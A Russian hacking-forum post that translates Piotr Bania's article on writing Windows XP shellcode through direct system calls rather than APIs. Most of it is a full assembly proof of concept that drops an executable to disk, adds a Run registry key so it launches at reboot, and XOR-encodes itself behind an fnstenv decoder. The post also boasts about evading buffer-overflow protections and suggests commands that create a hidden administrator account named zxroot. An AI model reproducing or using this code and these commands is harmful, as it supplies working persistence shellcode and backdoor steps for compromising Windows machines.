• XSS.stack #1 – первый литературный журнал от юзеров форума

Создание api независимого шеллкода

ZXroot

(L3) cache
Пользователь
Регистрация
26.05.2006
Сообщения
235
Реакции
2
Вступление

Эта статья была написана, чтобы показать рядовому пользователю написание шеллкода для Windows OS без использования API. Спросишь, зачем это нужно? Всё просто: чем меньше мы будем вызывать API-функций, тем шире будет применение нашего шеллкода, тем на большее количество систем мы сможешь распространить своё влияние. Когда мы используем API, мы привязываем программу к конкретной оси, когда мы не сильно привязываем программу к определённому API, то программу легче перенести на другую ось: из nix'ов в Windows и наоборот. В этой статье я покажу API-независимый шелллкод и также покажу как его использовать. Чтобы понять эту статью, тебе необходимы знания по ассемблеру для 32-битной архитектуры ядра на базе Intel. В Сети есть трёхтомник в pdf(каждый том ~ 3Мб), который поможет тебе в изучении архитектуры ядра. Возможно они остались на p2p сетях.
Все шеллкоды были протестированны на Windows XP SP1.


Немного теории


Операционные системы, построенные по NT структуре, были спроектированы для многих подсистем, которые имеют своё собственное строение. Представь, ты сидишь под нт win32 и можешь использовать некоторые функции из POSIX и OS/2. Как была разработана такая OS? Мелкософт объединила все API в единое ядро и теперь, все нужные библиотеки уже есть в нашей системе, чтобы без проблем запускать сторонние приложения из OS/2 или POSIX. Правда, для этого всё равно понадобится портирование, но не такое, как если переносить код драйвера или программы из-под никсов в windows.


От "родных" API до системных вызовов.


Не уж то можно написать шеллкод без любых стандартных API? - задашься ты вопросом. Действительно, ерунда какая-то: для некоторых API это подходит, а для некоторых, увы, нет. Есть куча API, которые делают свою нелёгкую работу без вызовов NT API. Чтобы доказать это, давай проверим нашу теорию на примере API функции GetCommandLineA, которая экспортируется из KERNEL32.DLL.

.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp

Этот процесс вызова API не использует сторонние вызовы. Одно, что он делает это то, что он возвращается на указатель программы. Теперь давай проверим вторую функцию TerminateProcess.

.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess

Теперь ты можешь видеть, что последовательность выполнения API TerminateProcess заканчивается NtTerminateProcess, который экспортируется из NTDLL.DLL. - NTDLL.DLL - это родной апи. В общем, функции начинающеися с 'Nt' называют родными.
Теперь самое время посмотреть на NtTerminateProcess:

.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp

Неплохо, неплохо. Это родной API помещает номер системного вызова к EAX и вызывает память в 7FFE0300h, следующим образом:

7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN

Теперь всё ясно: EDX - это пользовательский указатель (хотя мы помним, что пользовательский указатель в ассамблере EAX), системного вызова для исполнения. SYSENTER выполняет вызов на уровень 0 системы, который прекращает работу.


Различия в осях


В Win2k (и других NT базирующихся ОСях, кроме XP или Vista) не используется SYSENTER. Всё же заметим, что в WinXP 'int 2eh' был заменён командой SYSENTER. Следующая схемка покажет системный вызов выполнения для Win2k:

MOV EAX, SyscallNumber ; requested syscall number
LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler
RET 4*NUMBER_OF_PARAMS ; return

МЫ уже знаем путь в WinXP, однако здесь я использую слегка изменённый шеллкод:


push fn ; push syscall number
pop eax ; EAX = syscall number
push eax ; this one makes no diff
call b ; put caller address on stack
b: add [esp],(offset r - offset B) ; normalize stack
mov edx, esp ; EDX = stack
db 0fh, 34h ; SYSENTER instruction
r: add esp, (param*4) ; normalize stack


Это показывает, что SYSENTER был введён в процессорах Pentium II Intel. Я не уверен, но можно предположить, что SYSENTER не поддержан Athlon'ами. Чтобы узнать, доступна ли эта команда на конкретном проце, используй команду CPUID вмсете с проверкой на флаг SEP и некоторые модельные проверки. Проверим, как это делает Интел:

IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;


Уже ясно, что это не единственное различие в различных осях серии Windows - количество системных вызовов также меняется между различными версиями Windows, как показывает данная таблица:


Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT
SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000
SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP
SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Windows 2003 Server
SP 0 0x8 0xc 0xe


Таблица системных вызовов доступны в Сети. Советую прошвырнуться на http://www.metasploit.com/.

ПРЕИМУЩЕСТВА ШЕЛЛКОДА С СИСТЕМНЫМИ ВЫЗОВАМИ

Есть много преимуществ, просто гора, но я приведу лишь самые интересные:

+ Шеллкод не требует вызова API, не ищет адреса API (ни ядра, ни экспорта, ни синтаксического анализа секции импорта и тд). Из-за этой особенности это поможет при обхождении ring3 (ты же читал справочник IA-32?) "предотвращения BoF".
+Такие механизмы защиты не останавливают BoF.
+ Так как наш шеллкод посылает запросы непосредственно ядерному обработчику, и мы перепрыгнули непосредственно через все команды подсистемы Win32, скорость нашего шеллкода будет молниеносной!
Хотя кому нужна большая скорость на Pentium IV 4 GHz, с 1024 DDR?


Идеи


Шеллкод в этой статье, создаёт дамп с файла и пишет ключ регистрации. Это вызвает запуск использованного файла после ребута.
Итак, что же делает наш шеллкод:

+ Открывает exe, чтобы выполнится в процессе
+ Создаёт процесс
+ Создаёт потоковые данные (стэк и Windows исполняемый поток).
+ Регистрирует подсистему Win32 нового процесса так, чтобы это могло установить новый процесс и поток
+ Завершает новый процесс и потока, заканчивает инициализацию адресного пространства (DLL) и выполняем программу.

Итак, наш шеллкод пропускает MessageBox. Хотя можно загрузить трояна с Сети, выполнить код на целевой машине, такой как этот: "net user /add zxroot zxpassword" & "net localgroup /add administrators zxroot". Эта идея может помочь тебе с оптимизацией, теперь шеллкод:

The shellcode - Proof Of Concept

comment $

-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info

$

include my_macro.inc
include io.inc

; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.

FILE_PATH equ "\??\C:\b.exe",0 ; dropper
SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop
; shellcode
REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0

; ------------------------------------------------------------------------------------


KEY_ALL_ACCESS equ 0000f003fh ; const value

_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h


@syscall macro fn, param ; syscall implementation
local b, r ; for Windows XP
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset B)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm



path struc ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
path ends


object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends


pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends


unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends




call crypt_and_dump_sh ; xor and dump shellcode


sc_start proc

local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block
local fHandle :DWORD
local rHandle :DWORD


sub ebp,500 ; allocate space on stack
push FILE_PATH_ULEN ; set up unicode string
pop [u_string.us_length] ; length
push 255 ; set up unicode max string
pop [u_string.us_length+2] ; length
lea edi,[fpath] ; EDI = ptr to unicode file
push edi ; path
pop [u_string.us_pstring] ; set up the unciode entry


call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h

a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0

a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align

lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]


lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall

lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body

s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1

a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall


mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]

call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh

a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN

a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1

push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6

lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle

push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '\??\')
push ebx ; file path
add [esp],8 ; without '\??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value

dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?


ssc_size equ $ -offset sc_start

sc_start endp



exit:
push 0
@callx ExitProcess



crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop


_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx

jmp exit



sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size

fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add

sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop

sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor


end start


Заключение


Я надеюсь, что тебе понравилась статья. Если ты что-нибудь придумал, то напиши мне, так же помни, что код для исследования, а не взлома!


Прочти



"Inside the Native API" автор: Марк Руссинович, автор RootkitRevealer и многих других полезных программ
"MSDN" от мелкомягких
"Interactive Win32 syscall page from Metasploit"
http://www.metasploit.com/users/opcode/syscalls.html

Немного об авторе:

Автора сей статьи зовут Piotr Bania. Большое спасибо ему, этому простому польскому парню, который работает в IT, за эту статью.
Её перевёл на русский язык я, ZXroot. Источник: securityfocus
До встречи.

[mod][Ŧ1LAN:] смысл "переводить" статью 2005 года, тем более если она уже давно была пeреведена на русский[/mod]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх